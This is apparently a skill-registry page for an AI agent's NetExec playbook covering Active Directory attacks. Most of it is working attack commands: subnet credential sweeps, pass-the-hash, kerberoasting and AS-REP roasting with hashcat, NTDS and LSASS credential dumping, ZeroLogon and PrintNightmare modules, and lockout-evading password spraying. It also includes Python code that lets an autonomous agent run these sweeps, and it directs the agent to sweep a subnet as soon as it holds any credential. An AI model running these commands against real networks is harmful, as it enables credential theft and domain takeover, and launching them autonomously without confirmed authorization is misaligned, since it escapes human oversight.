NetExec (CrackMapExec successor) — unified SMB/LDAP/MSSQL/WinRM/RDP/SSH/FTP/VNC protocol auth + post-auth modules. 200+ modules incl. BloodHound auto-ingest, ESC1-15 scanning, PrintNightmare, LDAP relay.
61
73%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/ad/netexec/SKILL.mdnxc) PlaybookNetExec is the actively-maintained fork of CrackMapExec (archived 2023). One CLI, 8+ protocols, 200+ modules. The Swiss-army knife of Windows / AD pentest.
pipx install netexec # preferred — isolates deps
# Or:
git clone https://github.com/Pennyw0rth/NetExec && cd NetExec && pipx install .# Test creds across a subnet — single SMB null bind sweep
nxc smb 10.0.0.0/24
# With creds
nxc smb 10.0.0.0/24 -u alice -p Spring2024!
nxc smb 10.0.0.0/24 -u alice -H aad3b435b51404ee...:31d6cfe0d16ae931... # NTLM hash
# Across protocols — same creds, different services
nxc ldap $DC -u alice -p $PW
nxc mssql 10.0.0.5 -u alice -p $PW
nxc winrm 10.0.0.5 -u alice -p $PW
nxc rdp 10.0.0.5 -u alice -p $PW
nxc ssh 10.0.0.5 -u alice -p $PW
# Kerberos auth
nxc smb $DC -u alice -p $PW -k --kdcHost $DCnxc ldap $DC -u alice -p $PW --bloodhound --collection All \
--dns-server $DC_IP
# Drops Zip in current dir, ready to ingest into BloodHoundnxc ldap $DC -u alice -p $PW -M adcs
# Lists all certificates templates + vulnerability flagsnxc ldap $DC -u alice -p $PW --kerberoasting kerb.hashes
hashcat -m 13100 kerb.hashes wordlist.txtnxc ldap $DC -u alice -p $PW --asreproast asrep.hashes
hashcat -m 18200 asrep.hashes wordlist.txtnxc smb 10.0.0.0/24 -u alice -p $PW \
--spider-plus --extensions txt,xml,config,ini,xls,xlsx,docx \
--output-folder /tmp/spidernxc smb $DC -u administrator -p $PW --ntds drsuapi
# Drops ntds.dit hashes to stdout/outputnxc smb $DC --users users.txt -p 'Spring2024!' --threads 1 --jitter 30
# Slow + jittered to evade lockoutnxc smb -L # all SMB modules
nxc ldap -L # all LDAP modules
nxc smb -M lsassy -o ... # use lsassy module to dump LSASS
nxc smb -M wcc # Windows Configuration Collector
nxc smb -M printnightmare # PrintNightmare CVE-2021-34527
nxc smb -M zerologon # ZeroLogon CVE-2020-1472
nxc smb -M scuffy # scf file for credential coercionnxc smb $TARGET -u alice -p $PW --log /tmp/nxc.log
nxc smb $TARGET -u alice -p $PW --json /tmp/nxc.json
nxc smb $TARGET -u alice -p $PW --csv /tmp/nxc.csvNetExec also writes to ~/.nxc/ SQLite DB by default — query w/
nxcdb:
nxcdb
nxc > workspace default
nxc default > proto smb
nxc default (smb) > hosts
nxc default (smb) > credsWhen agent has any valid AD cred (recon or roast), the first move
should be nxc smb cred-sweep across the subnet. It surfaces:
Wrap as Decepticon tool:
# decepticon/tools/ad/netexec.py — skeleton
from decepticon.tools.bash import bash_tool
def nxc_sweep(protocol: str, targets: str, user: str, pw_or_hash: str, modules: list[str] = None) -> dict:
"""Run nxc across targets; parse JSON output; promote findings to KG."""
cmd = f"nxc {protocol} {targets} -u {user}"
if len(pw_or_hash) == 32 + 1 + 32: # LM:NT hash
cmd += f" -H {pw_or_hash}"
else:
cmd += f" -p {shlex.quote(pw_or_hash)}"
if modules:
for m in modules:
cmd += f" -M {m}"
cmd += " --json /tmp/nxc.json"
result = bash_tool(cmd)
if Path("/tmp/nxc.json").exists():
return json.loads(Path("/tmp/nxc.json").read_text())
return {"error": "no json output"}# Confirm sweep — find local-admin reuse
nxc smb 10.0.0.0/24 -u alice -p $PW --local-auth | grep '(Pwn3d!)'
# Each (Pwn3d!) = local admin = lateral pivot targetskills/ad/SKILL.mdskills/ad/bloodhound-query/SKILL.mdskills/ad/kerberoasting/SKILL.mdskills/ad/adcs-esc1/SKILL.md0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.